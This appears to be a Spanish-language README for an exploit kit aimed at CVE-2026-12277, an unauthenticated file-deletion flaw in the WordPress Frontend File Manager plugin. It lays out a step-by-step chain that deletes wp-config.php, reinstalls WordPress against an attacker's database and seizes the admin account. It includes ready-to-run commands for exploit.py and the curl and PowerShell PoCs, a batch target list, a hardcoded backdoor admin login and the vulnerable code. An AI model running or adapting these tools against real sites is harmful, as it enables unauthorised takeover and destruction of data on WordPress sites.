
Frontend File Manager Plugin (WordPress) <= 23.6 - Eliminación arbitraria de archivos no autenticada que conduce a RCE
Plugin Frontend File Manager (WordPress) <= 23.6 - Eliminación arbitraria de archivos sin autenticar que deriva en RCE
| Campo | Valor |
|---|---|
| CVE | CVE-2026-12277 |
| Plugin | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| Afectado | <= 23.6 |
| Tipo | Eliminación arbitraria de archivos sin autenticar |
| CVSS | 8.7 (ALTO) |
| CWE | CWE-73 (Control externo del nombre o ruta de archivo) |
| Requisito previo | Modo de subida de invitados habilitado |
| Parche | Ninguno (hasta julio de 2026) |
| Investigador | Chamseddine Bouzaiene |
El plugin almacena las rutas de los archivos subidos en los metadatos de las entradas (wpfm_dir_path). El endpoint AJAX wpfm_file_meta_update:
files.php)nopriv (accesible sin autenticación)unset($_REQUEST['wpfm_dir_path']) se puede omitir mediante peculiaridades de request_order de PHP (envío a través de la cadena de consulta)Cuando se llama a wpfm_delete_file, lee wpfm_dir_path de los metadatos de la entrada y llama a unlink() sin ninguna validación de ruta.
1. Detectar el plugin y la subida de invitados habilitada
2. Extraer automáticamente el nonce AJAX de la página frontal (campo de entrada oculto)
3. Subir un archivo como invitado O forzar por fuerza bruta un ID de entrada existente
4. Sobrescribir wpfm_dir_path mediante la omisión por cadena de consulta → apuntar a wp-config.php
5. Activar wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra en modo de instalación (setup-config.php)
7. Completar la instalación con una base de datos controlada por el atacante
8. Iniciar sesión como administrador → toma de control total
# Instalar dependencias
pip install -r requirements.txt
# Exploit totalmente automático (nonce auto-detectado)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Solo detección
python exploit.py -u http://target.com --detect-only
# Con nonce manual (si la auto-detección falla)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# Con proxy de Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Configuración personalizada de la base de datos del atacante
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
Después de explotar con éxito, inicia sesión en el administrador de WordPress:
URL: http://target.com/wp-login.php
Usuario: shac1x
Contraseña: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
El exploit busca automáticamente wpfm_ajax_nonce en:
/file-manager/, /upload/, /files/, /file-upload/, etc./file-manager.php/wp-json/)El nonce aparece como un campo de entrada oculto:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
O en JavaScript localizado:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
El código ejecuta unset($_REQUEST['wpfm_dir_path']) para evitar la sobrescritura directa. La omisión:
Inyección en la cadena de consulta: Enviar wpfm_dir_path mediante un parámetro de consulta en la URL mientras el resto de los datos van en el cuerpo POST. El comportamiento de fusión de $_REQUEST de PHP permite que el valor persista dependiendo de la configuración de request_order.
Predefinido durante el flujo de subida: El metadato wpfm_dir_path se establece durante los hooks iniciales de subida de archivos. Si se explota en esa etapa, no se necesita omisión.
| Componente | Versión |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| Plugin |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Cuando la subida de invitados está ACTIVADA → !$allow_guest = false → la comprobación completa se OMITE
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // desde el metadato wpfm_dir_path - SIN VALIDACIÓN
if (file_exists($file_path)) {
unlink($file_path); // ELIMINACIÓN ARBITRARIA DE ARCHIVOS
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // respaldo: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // SIN canonicalización, SIN comprobación de realpath
}
wpfm_file_meta_updatewpfm_dir_path contra el directorio de subidas utilizando realpath() + comprobación de prefijoEsta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre permiso por escrito antes de realizar pruebas.
| Acción AJAX | Nonce requerido | Autenticación requerida | nopriv |
|---|
wpfm_file_meta_update | NO (comentado) | No | Sí (siempre) |
wpfm_delete_file | Sí | No | Sí (siempre) |
wpfm_upload_file | Sí | No | Sí (si la subida de invitados está activa) |
| Archivo | Descripción |
|---|
exploit.py | Exploit completo en Python (detectar → explotar → toma de control) |
poc_curl.sh | PoC en Bash/curl (Linux) |
poc_curl.ps1 | PoC en PowerShell/curl (Windows) |
lists.txt | URL de objetivos (una por línea, para modo por lotes) |
requirements.txt | Dependencias de Python |
| Argumento | Requerido | Descripción |
|---|
-u, --url | Sí | URL objetivo de WordPress |
-p, --path | No | Ruta absoluta a wp-config.php en el servidor |
--nonce | No | Nonce AJAX (omitir la autoextracción) |
--dbname | No | Nombre de la base de datos del atacante (por defecto: wp_pwned) |
--dbuser | No | Usuario de la base de datos del atacante (por defecto: root) |
--dbpass | No | Contraseña de la base de datos del atacante |
--dbhost | No | Host de la base de datos del atacante (por defecto: localhost) |
--proxy | No | Proxy HTTP (p. ej., http://127.0.0.1:8080) |
--timeout | No | Tiempo de espera de la solicitud en segundos (por defecto: 15) |
--detect-only | No | Solo detectar la vulnerabilidad, sin explotar |
| Frontend File Manager 23.6 |
| SO | Windows (XAMPP) / Linux |
| Resultado | Toma de control total confirmada |